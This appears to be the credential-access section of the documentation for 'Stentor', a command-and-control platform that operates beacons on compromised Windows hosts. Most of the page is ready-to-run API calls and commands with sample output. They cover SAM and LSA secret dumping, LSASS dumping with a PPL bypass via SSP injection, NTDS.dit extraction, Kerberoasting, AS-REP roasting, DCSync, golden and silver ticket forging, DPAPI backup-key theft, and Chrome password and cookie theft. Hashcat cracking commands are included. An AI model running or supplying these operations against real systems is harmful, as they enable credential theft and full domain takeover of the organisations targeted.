Credential Access¶

Credential harvesting capabilities for extracting authentication material from compromised hosts. Stentor implements a complete credential access toolkit covering local credential stores, LSASS memory parsing, Kerberos protocol attacks, domain replication, DPAPI-protected secrets, and browser credential extraction.

Credential Hierarchy¶

Credential harvesting follows a natural progression from local stores (lowest privilege requirement) through domain-level attacks (highest privilege requirement). Each layer unlocks new attack paths.

flowchart TD
    A[Local Credentials] --> B[LSASS Memory]
    A --> C[DPAPI Secrets]
    B --> D[Domain Credentials]
    D --> E[Kerberos Attacks]
    D --> F[Lateral Movement]

    A1[SAM Database<br/>hashdump / sam_dump] --> A
    A2[LSA Secrets<br/>lsa_secrets] --> A
    A3[Cached Creds<br/>cached_creds] --> A

    B1[logonpasswords<br/>NTLM + WDigest + Kerberos] --> B
    B2[lsass_memdump<br/>Minidump to disk] --> B

    C1[DPAPI Triage<br/>RDP / WiFi / Vault / Certs] --> C
    C2[chromedump<br/>Browser passwords] --> C

    D1[DCSync<br/>DRSUAPI replication] --> D
    D2[NTDS Dump<br/>AD database extraction] --> D

    E1[Kerberoast<br/>TGS ticket cracking] --> E
    E2[AS-REP Roast<br/>Pre-auth bypass] --> E
    E3[Golden / Silver Ticket<br/>Kerberos forgery] --> E

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff
    style F fill:#01579b,color:#fff

Privilege requirements:

Credential Commands Reference¶

Local Credential Dumping¶

Local credential stores contain authentication material cached on the local machine. These techniques access registry hives in-memory using the Windows registry API -- no child processes like reg.exe are spawned.

All local credential dump commands execute inside a fork-and-run sacrificial process for OPSEC isolation. Registry access artifacts point to the sacrificial PID, not the beacon process.

hashdump

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/hashdump" \
  -H "Authorization: Bearer $TOKEN"

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "hashdump"}'

[Fork-and-Run] Sacrificial PID: 5184

Extracted 4 NTLM hashes from SAM database:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
labuser:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Format: username:RID:LM_HASH:NT_HASH:::

hashcat -m 1000 hashes.txt rockyou.txt

sam_dump

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "sam_dump"}'

lsa_secrets

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "lsa_secrets"}'

[Fork-and-Run] Sacrificial PID: 4892

=== LSA Secrets ===

$MACHINE.ACC
  0000  A3 4F 2C 7B 8E ... (machine account password hash)

DPAPI_SYSTEM
  User:    0x01000000b1c347...
  Machine: 0x01000000f24a58...

DefaultPassword
  labuser / P@ssw0rd123

_SC_SQLService
  CORP\svc_sql / SqlServiceP@ss!

cached_creds

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "cached_creds"}'

[Fork-and-Run] Sacrificial PID: 3716

Cached Domain Credentials (DCC2):

$DCC2$10240#jsmith#a4f49c406510bdcab6824ee7c30fd852
$DCC2$10240#admin#b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5

Format: $DCC2$iterations#username#hash (hashcat mode 2100)

hashcat -m 2100 cached.txt rockyou.txt

LSASS Memory Access¶

LSASS (Local Security Authority Subsystem Service) holds authentication material for all logged-on users in memory. This includes NTLM hashes, WDigest cleartext passwords (if enabled), Kerberos tickets, and TSPKG credentials.

logonpasswords

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/logonpasswords" \
  -H "Authorization: Bearer $TOKEN"

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "logonpasswords"}'

[Fork-and-Run] Sacrificial PID: 6248

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CORP\jsmith
Domain            : CORP
Logon Server      : DC01
Logon Time        : 2/19/2026 8:30:15 AM

    msv :
     [00000003] Primary
     * Username : jsmith
     * Domain   : CORP
     * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
     * SHA1     : a]9040f9c13d508...

    wdigest :
     * Username : jsmith
     * Domain   : CORP
     * Password : P@ssw0rd123

    kerberos :
     * Username : jsmith
     * Domain   : CORP.LOCAL
     * Password : (null)

lsass_memdump

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "lsass_memdump"}'

[Fork-and-Run] Sacrificial PID: 7412

LSASS minidump created: C:\Users\Public\lsass_20260219_083015.dmp (48.2 MB)

# pypykatz (Python)
pypykatz lsa minidump lsass_20260219_083015.dmp

# mimikatz (Windows)
mimikatz# sekurlsa::minidump lsass_20260219_083015.dmp
mimikatz# sekurlsa::logonpasswords

lsass_legacy

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "lsass_legacy"}'

LSASS Method Comparison¶

PPL Bypass (RunAsPPL)¶

When LSASS is running as a Protected Process Light (PPL), standard credential dumping techniques fail because OpenProcess is denied even with SeDebugPrivilege. The ppl_bypass command circumvents this protection using SSP injection.

How it works:

1. Writes a custom Security Support Provider (SSP) DLL to a temporary location
2. Calls AddSecurityPackageW to load the SSP into lsass.exe (the OS loads the DLL into the protected process)
3. The SSP's SpLsaModeInitialize callback executes inside LSASS and captures credential material
4. Results are written to a shared memory section or temp file and read by the beacon
5. The temporary SSP DLL is cleaned up

Shell syntax:

ppl_bypass

API example:

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"ppl_bypass","data":{}}'

NTDS.dit Dump¶

ntds_dump¶

Extract NTLM hashes for all domain user accounts from the Active Directory database (NTDS.dit). This technique creates a volume shadow copy of the Domain Controller's system drive, then extracts the NTDS.dit file and SYSTEM hive for offline parsing.

How it works: Executes vssadmin create shadow /for=C: to create a volume shadow copy, then copies NTDS.dit and the SYSTEM hive from the shadow copy. If vssadmin fails, falls back to ntdsutil IFM (Install From Media) mode. Requires Domain Admin privileges on the Domain Controller.

Task type: creds (method: ntds_dump)

ntds_dump

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "ntds_dump"}'

Example output:

[*] Creating volume shadow copy...
[+] Shadow copy created: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
[*] Extracting NTDS.dit from shadow copy...
[+] NTDS.dit extracted: C:\Windows\Temp\ntds.dit (256 MB)
[+] SYSTEM hive extracted: C:\Windows\Temp\SYSTEM (12 MB)

Extracted 1,247 NTLM hashes from NTDS.dit

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5:::
jsmith:1103:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
...

Kerberos Attacks¶

Kerberos-based credential access techniques exploit the Kerberos authentication protocol to extract crackable hashes or forge authentication tickets.

kerberoast
kerberoast /domain:CORP.LOCAL /dc:dc01.corp.local
kerberoast /spn:MSSQLSvc/sql01.corp.local:1433
kerberoast /user:svc_sql /domain:CORP.LOCAL

# SSPI mode (uses current token)
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberoast"}'

# Explicit credentials
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberoast /domain:CORP.LOCAL /dc:dc01.corp.local /user:jsmith /password:P@ssw0rd"}'

[*] Jitter: 1000ms (range 500-1500ms) between TGS requests

{
  "hashes": [
    {
      "spn": "MSSQLSvc/sql01.corp.local:1433",
      "username": "svc_sql",
      "domain": "CORP.LOCAL",
      "hash": "$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a3b4c5...$d6e7f8...",
      "enc_type": 23,
      "enc_type_name": "RC4-HMAC"
    }
  ],
  "count": 1,
  "format": "hashcat"
}

# RC4 (etype 23) -- hashcat mode 13100
hashcat -m 13100 kerberoast.txt rockyou.txt

# AES256 (etype 18) -- hashcat mode 19700
hashcat -m 19700 kerberoast.txt rockyou.txt

asrep_roast /domain:CORP.LOCAL /dc:dc01.corp.local /user:svc_backup,svc_scan

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "asrep_roast /domain:CORP.LOCAL /dc:dc01.corp.local /user:svc_backup"}'

{
  "hashes": [
    {
      "username": "svc_backup",
      "domain": "CORP.LOCAL",
      "hash": "[email protected]:a1b2c3...$d4e5f6...",
      "enc_type": 23,
      "enc_type_name": "RC4-HMAC",
      "vulnerable": true
    }
  ],
  "vulnerable_count": 1,
  "tested_count": 2,
  "format": "hashcat"
}

hashcat -m 18200 asrep.txt rockyou.txt

DCSync¶

dcsync¶

Replicate domain credential data from a Domain Controller using the MS-DRSR (Directory Replication Service Remote) protocol. DCSync simulates a Domain Controller requesting replication, causing the target DC to send password data for specified accounts.

How it works: Connects to the DC via RPC endpoint mapper (port 135), binds to the DRSUAPI interface using DsBind / DsBindWithCred, resolves target user DNs with DsCrackNames, then calls IDL_DRSGetNCChanges to replicate the password attributes (unicodePwd, supplementalCredentials, ntPwdHistory). Output includes NTLM hash, Kerberos keys (AES256, AES128, DES), and supplemental credentials.

Task type: creds (method: dcsync)

Dedicated endpoint: POST /api/v1/c2/beacons/:id/dcsync

dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /user:Administrator
dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /all

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/dcsync" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "domain": "CORP.LOCAL",
    "dc": "dc01.corp.local",
    "username": "CORP\\admin",
    "password": "AdminP@ss",
    "target_users": ["krbtgt", "Administrator"]
  }'

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /user:krbtgt"}'

Example output:

[DC] 'CORP.LOCAL' will be the domain
[DC] 'dc01.corp.local' will be the DC server

Object RDN           : CN=krbtgt
** SAM ACCOUNT NAME : krbtgt

Credentials:
  Hash NTLM: b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5
    lm  - 0: aad3b435b51404eeaad3b435b51404ee
    ntlm- 0: b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5

Object RDN           : CN=Administrator
** SAM ACCOUNT NAME : Administrator

Credentials:
  Hash NTLM: a4f49c406510bdcab6824ee7c30fd852
    lm  - 0: aad3b435b51404eeaad3b435b51404ee
    ntlm- 0: a4f49c406510bdcab6824ee7c30fd852

Kerberos Ticket Forging¶

Forge Kerberos tickets using compromised key material to gain persistent or targeted access without needing the original plaintext password.

golden_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 dc01.corp.local aabbccdd...
golden_ticket CORP.LOCAL S-1-5-21-... dc01 aabb... --user Administrator --format kirbi

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "golden_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 dc01.corp.local aabbccddeeff..."}'

silver_ticket CORP.LOCAL S-1-5-21-... dc01 cifs sql01.corp.local aabbccdd...

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "silver_ticket CORP.LOCAL S-1-5-21-... dc01 cifs sql01.corp.local aabbccdd..."}'

overpass CORP.LOCAL dc01.corp.local jsmith aabbccddeeff00112233445566778899

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "overpass CORP.LOCAL dc01.corp.local jsmith aabbccddeeff00112233445566778899"}'

kerberos_ticket_use C:\Users\Public\golden.kirbi

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberos_ticket_use C:\\Users\\Public\\golden.kirbi"}'

kerberos_ccache_use /tmp/krb5cc_admin

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberos_ccache_use /tmp/krb5cc_admin"}'

DPAPI Decryption Chain¶

The Data Protection API (DPAPI) is Windows' built-in mechanism for encrypting user secrets. DPAPI-protected data includes saved RDP credentials, WiFi passwords, Credential Manager vault entries, certificate private keys, and browser secrets. Decrypting DPAPI data requires either the user's password or the domain backup key.

flowchart TD
    MK[Master Keys<br/>dpapi_masterkeys] --> |User Password| DB[Decrypt Blob]
    BK[Domain Backup Key<br/>dpapi_backupkey] --> |LSAD RPC| DB

    DB --> RDP[RDP Credentials<br/>dpapi_rdp]
    DB --> WIFI[WiFi Passwords<br/>dpapi_wifi]
    DB --> VAULT[Vault Entries<br/>dpapi_vault]
    DB --> CERT[Certificate Keys<br/>dpapi_certkeys]

    TRIAGE[dpapi_triage<br/>Full Chain] --> MK
    TRIAGE --> RDP
    TRIAGE --> WIFI
    TRIAGE --> VAULT
    TRIAGE --> CERT

    style MK fill:#6a1b9a,color:#fff
    style BK fill:#4a148c,color:#fff
    style DB fill:#311b92,color:#fff
    style RDP fill:#1a237e,color:#fff
    style WIFI fill:#1a237e,color:#fff
    style VAULT fill:#1a237e,color:#fff
    style CERT fill:#1a237e,color:#fff
    style TRIAGE fill:#0d47a1,color:#fff

dpapi_masterkeys¶

Extract DPAPI master key files from user Protect directories. Master keys are the root encryption keys used to protect DPAPI blobs. Each user has a set of master keys stored at %APPDATA%\Microsoft\Protect\<SID>\.

Task type: dpapi (method: masterkeys)

dpapi_masterkeys
dpapi_masterkeys --target S-1-5-21-1234567890-1234567890-1234567890-1001

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_masterkeys"}'

Example output:

DPAPI master key enumeration for SID S-1-5-21-...-1001:
Found 3 master key files in C:\Users\jsmith\AppData\Roaming\Microsoft\Protect\S-1-5-21-...:

  C:\Users\jsmith\...\{a1b2c3d4-e5f6-7890-abcd-ef1234567890} (468 bytes)
  C:\Users\jsmith\...\{b2c3d4e5-f6a7-8901-bcde-f12345678901} (468 bytes)
  C:\Users\jsmith\...\Preferred (24 bytes)

Note: Master key blobs are encrypted. Decryption requires the user's password
or the domain backup key (via dpapi_backupkey).

dpapi_backupkey¶

Retrieve the domain DPAPI backup key from a Domain Controller via LsaRetrievePrivateData RPC. The domain backup key can decrypt any domain user's DPAPI master keys, enabling offline decryption of all DPAPI-protected secrets across the domain.

Task type: dpapi (method: backupkey)

dpapi_backupkey dc01.corp.local
dpapi_backupkey dc01.corp.local --domain CORP.LOCAL

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_backupkey dc01.corp.local"}'

dpapi_rdp¶

Decrypt saved RDP (Remote Desktop Protocol) credentials from the Windows Credential Manager. These are passwords saved when a user checks "Remember my credentials" in the RDP client.

Task type: dpapi (method: rdp)

dpapi_rdp

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_rdp"}'

dpapi_wifi¶

Decrypt WiFi profile passwords stored on the local machine. WiFi passwords are DPAPI-protected and stored in XML profiles under ProgramData\Microsoft\Wlansvc\Profiles\.

Task type: dpapi (method: wifi)

dpapi_wifi

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_wifi"}'

dpapi_vault¶

Decrypt Windows Credential Manager vault entries. The vault contains credentials saved by Windows components and applications (web credentials, Windows credentials, certificate-based credentials).

Task type: dpapi (method: vault)

dpapi_vault

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_vault"}'

dpapi_certkeys¶

Decrypt certificate private keys protected by DPAPI. These keys are stored in the user's certificate store and can be used for authentication, code signing, or encrypted communication.

Task type: dpapi (method: certkeys)

dpapi_certkeys
dpapi_certkeys --target S-1-5-21-...-1001

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_certkeys"}'

dpapi_triage¶

Run a full DPAPI triage -- extracts master keys and then decrypts all available DPAPI-protected credential types (RDP, WiFi, Vault, Certificate Keys) in a single operation.

Task type: dpapi (method: triage)

dpapi_triage
dpapi_triage --domain CORP.LOCAL --dc dc01.corp.local

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_triage"}'

Example output:

=== Master Key Extraction ===
Found 3 master key files for SID S-1-5-21-...-1001

=== RDP Credentials ===
Target: TERMSRV/dc01.corp.local
  Username: CORP\admin
  Password: AdminP@ss123!

=== WiFi Passwords ===
SSID: CorpWiFi
  Password: WiFiP@ss2024

=== Vault Credentials ===
Resource: https://intranet.corp.local
  Username: jsmith
  Password: Intr@net!

=== Certificate Keys ===
Subject: [email protected]
  Key exported: RSA 2048-bit

Browser Credential Extraction¶

chromedump¶

Extract saved passwords and cookies from Google Chrome and Microsoft Edge (Chromium-based) browsers. Supports both legacy DPAPI key decryption and Chrome v20+ App-Bound Encryption via the IElevator COM interface.

How it works:

1. Locates Chrome/Edge user data directories under %LOCALAPPDATA%
2. Reads the Local State JSON file to extract the encrypted master key
3. Key decryption (dual approach):
   • Chrome v20+ (App-Bound Encryption): Uses the IElevator COM interface to decrypt the app-bound key through Chrome's elevation service. Falls back to DPAPI if IElevator is unavailable
   • Legacy (Chrome <v20): Decrypts the master key using DPAPI (CryptUnprotectData)
4. Copies the Login Data SQLite database to a temp file (avoids Chrome's lock)
5. Queries the logins table for origin_url, username_value, password_value
6. Decrypts each password blob using AES-256-GCM with the master key
7. Also extracts and decrypts cookies from the Cookies database

Task type: chromedump

Dedicated endpoint: POST /api/v1/c2/beacons/:id/chromedump

chromedump

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/chromedump" \
  -H "Authorization: Bearer $TOKEN"

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "chromedump"}'

Example output:

{
  "passwords": [
    {
      "url": "https://mail.corp.local/owa",
      "username": "[email protected]",
      "password": "OutlookP@ss123",
      "profile": "Default"
    },
    {
      "url": "https://vpn.corp.local",
      "username": "jsmith",
      "password": "VPNAccess!",
      "profile": "Default"
    }
  ],
  "cookies": [
    {
      "host": ".corp.local",
      "name": "SessionID",
      "value": "abc123...",
      "expires": 13350000000000000,
      "profile": "Default"
    }
  ]
}